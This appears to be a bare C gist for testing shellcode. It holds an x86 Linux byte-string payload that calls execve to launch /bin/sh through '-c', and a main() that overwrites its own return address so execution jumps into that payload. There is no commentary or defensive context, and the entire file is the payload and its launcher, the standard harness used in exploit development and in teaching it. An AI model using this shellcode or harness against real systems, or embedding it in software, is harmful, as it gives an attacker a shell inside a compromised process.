gistfile1.c

#include <stdlib.h>
#include <unistd.h>

unsigned char shellcode[] = 
  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
  "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
  "\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";

int main(void) {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}